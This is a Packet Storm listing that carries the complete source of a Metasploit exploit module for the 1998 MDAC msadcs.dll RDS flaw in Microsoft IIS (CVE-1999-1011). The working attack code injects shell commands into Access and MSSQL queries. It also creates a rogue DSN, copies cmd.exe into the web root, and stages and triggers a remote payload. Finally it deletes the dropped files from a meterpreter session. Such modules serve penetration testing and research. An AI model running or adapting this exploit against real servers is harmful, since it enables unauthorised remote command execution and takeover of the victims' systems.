exploit the possibilities

Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution

Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
Posted Jun 7, 2012
Authored by patrick | Site metasploit.com

This Metasploit module can be used to execute arbitrary commands on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj or AdvancedDataFactory to inject shell commands into Microsoft Access databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN). Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively used in the wild in the late Ninties. MDAC versions affected include MDAC 1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS installed, and NT4 Servers with the NT Option Pack installed or upgraded 2000 systems often running IIS3/4/5 however some vulnerable installations can still be found on newer Windows operating systems. Note that newer releases of msadcs.dll can still be abused however by default remote connections to the RDS is denied. Consider using VERBOSE if you're unable to successfully execute a command, as the error messages are detailed and useful for debugging. Also set NAME to obtain the remote hostname, and METHOD to use the alternative VbBusObj technique.

tags | exploit, remote, arbitrary, shell
systems | windows
advisories | CVE-1999-1011
MD5 | 9439cf75ff414672e154affb4b0b0e49

Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerTFTP

def initialize
super(
'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
'Description' => %q{
This module can be used to execute arbitrary commands on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
or AdvancedDataFactory to inject shell commands into Microsoft Access
databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
used in the wild in the late Ninties. MDAC versions affected include MDAC
1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
installed, and NT4 Servers with the NT Option Pack installed or upgraded
2000 systems often running IIS3/4/5 however some vulnerable installations
can still be found on newer Windows operating systems. Note that newer
releases of msadcs.dll can still be abused however by default remote
connections to the RDS is denied. Consider using VERBOSE if you're unable
to successfully execute a command, as the error messages are detailed
and useful for debugging. Also set NAME to obtain the remote hostname,
and METHOD to use the alternative VbBusObj technique.
},
'Author' => 'patrick',
'Platform' => 'win',
'References' =>
[
['OSVDB', '272'],
['BID', '529'],
['CVE', '1999-1011'],
['MSB', 'ms98-004'],
['MSB', 'ms99-025']
],
'Targets' =>
[
# patrickw tested meterpreter OK 20120601
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 17 1998'
)

register_options(
[
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['PATH'],
'method' => 'GET',
})
if (res.code == 200)
print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/)
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
end
end

def create_dsn(drive, dsn)
req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="

res = send_request_raw({
'uri' => req,
})

if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
return false
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
return true
end
end

def exec_cmd(sql, cmd, d)
boundary = rand_text_alphanumeric(8)
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
dsn = Rex::Text.to_unicode(d)
if (d =~ /driver=\{SQL Server\}/)
select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
elsif (cmd.nil?)
select = Rex::Text.to_unicode(sql)
else
select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
end

vprint_status("Attempting to request: #{select} on #{d}")

query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"

sploit = "--#{boundary}\r\n"
sploit << "Content-Type: application/x-varg\r\n"
sploit << "Content-Length: #{query.length}\r\n\r\n"
sploit << query
sploit << "\r\n--#{boundary}--\r\n"

data = "ADCClientVersion:01.06\r\n"
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
data << "\r\n\r\n"
data << sploit

res = send_request_raw({
'uri' => datastore['PATH'] + '/' + method,
'agent' => 'ACTIVEDATA',
'headers' =>
{
'Content-Length' => data.length,
'Connection' => "Keep-Alive",
},
'method' => 'POST',
'data' => data,
})

response = Rex::Text.to_ascii(res.body, 'utf-16be')

if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
return true, sql, d
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
print_error("Exploit failed: the server is patched")
return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
vprint_error("Server is vulnerable but the drive and path is incorrect.")
elsif (response =~ /Disk or network error./)
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
elsif (response =~ /Syntax error in CREATE TABLE statement/)
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
elsif (response =~ /Table '(\w+)' already exists/)
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
elsif (response =~ /Syntax error \(missing operator\) in query expression/)
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
elsif (response =~ /Too few parameters. Expected 1/)
print_good("Command was probably executed!")
elsif (response =~ /Data source name not found and no default driver specified/)
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
elsif (response =~ /Couldn't find file/)
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
elsif (response =~ /Specified SQL server not found/)
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
elsif (response =~ /Server does not exist or access denied/)
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
elsif (response =~ /General error Unable to open registry key/)
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
elsif (response =~ /It is in a read-only database/)
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
elsif (response =~ /Invalid connection/)
vprint_error("Server accepted request however the MSSQL database says Invalid connection")
elsif (response =~ /\[SQL Server\]Login failed for user/)
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
vprint_error("Server accepted request however it failed for reasons unknown.")
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
vprint_error("Unknown reply - but the command didn't execute")
else
vprint_status("Unknown reply - server is likely patched:\n#{response}")
end
return false
end

def find_exec
# config data - greets to rain forest puppy :)
boundary = rand_text_alphanumeric(8)

if (datastore['NAME']) # Obtain the hostname if true

data = "ADCClientVersion:01.06\r\n"
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
data << "\r\n\r\n--#{boundary}--\r\n"

res = send_request_raw({
'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
'agent' => 'ACTIVEDATA',
'headers' =>
{
'Content-Length' => data.length,
'Connection' => "Keep-Alive",
},
'method' => 'POST',
'data' => data,

})

if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
print_good("Hostname: #{$1}")
end
end

drives = ["c","d","e","f","g","h"]
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]

sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot%
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\ias\\ias.mdb",
"\\system32\\ias\\dnary.mdb",
"\\system32\\certlog\\certsrv.mdb" ]

mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
]

print_status("Step 1: Trying raw driver to btcustmr.mdb")

drives.each do |drive|
sysdirs.each do |sysdir|
ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
return ret if (ret)
end
end

print_status("Step 2: Trying to make our own DSN...")
x = false # Stop if we make a DSN
drives.each do |drive|
dsns.each do |dsn|
unless x
x = create_dsn(drive, dsn)
end
end
end

table = rand_text_alphanumeric(3)
print_status("Step 3: Trying to create a new table in our own DSN...")
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query

print_status("Step 4: Trying to execute our command via our own DSN and table...")
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
return ret if (ret)

print_status("Step 5: Trying to execute our command via known DSNs...")
dsns.each do |dsn|
ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
return ret if (ret)
end

print_status("Step 6: Trying known system .mdbs...")
drives.each do |drive|
sysdirs.each do |sysdir|
sysmdbs.each do |sysmdb|
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
return ret if (ret)
end
end
end

print_status("Step 7: Trying known program file .mdbs...")
drives.each do |drive|
mdbs.each do |mdb|
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
return ret if (ret)
end
end

print_status("Step 8: Trying SQL xp_cmdshell method...")
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
return ret if (ret)

return -1
end

def exploit
print_status("Searching for valid command execution point...")
x = false
until (x)
x,y,z =find_exec
if (x == -1)
break
end
end

if (x == true)
print_good("Successful command execution found!")

# now copy the file
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
# Unfortunately, using %SystemRoot% doesn't seem to work :(
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)

# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })

# Save these file names for later deletion
@exe_cmd_copy = exe_fname
@exe_payload = payload_exe

# Just for good measure, we'll make a quick, direct request for the payload
# Using the "start" method doesn't seem to make iis very happy :(
print_status("Triggering the payload via a direct request...")
res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
end

handler

end

#
# The following handles deleting the copied cmd.exe and payload exe!
#
def on_new_session(client)

if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The copied exe and the payload exe must be removed manually.")
return
end

return if not @exe_cmd_copy

# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

# Delete the copied CMD.exe
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
client.fs.file.rm(@exe_cmd_copy)

# Migrate so that we can delete the payload exe
client.console.run_single("run migrate -f")

# Delete the payload exe
return if not @exe_payload

delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?

print_status("Changing permissions on #{delete_me_too} ...")
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
client.sys.process.execute(cmd, nil, {'Hidden' => true })

print_status("Deleting #{delete_me_too} ...")
begin
client.fs.file.rm(delete_me_too)
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end

def cleanup
framework.events.remove_exploit_subscriber(self)
end

def execute_command(cmd, opts = {})
# Don't try the start command...
# Using the "start" method doesn't seem to make iis very happy :(
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

print_status("Executing command: #{cmd} (options: #{opts.inspect})")

uri = '/scripts/'
exe = opts[:cgifname]
if (exe)
uri << exe
end
uri << '?/x+/c+'
uri << Rex::Text.uri_encode(cmd)

vprint_status("Attempting to execute: #{uri}")

res = send_request_raw({
'uri' => uri,
'method' => 'GET',
})
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    11 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close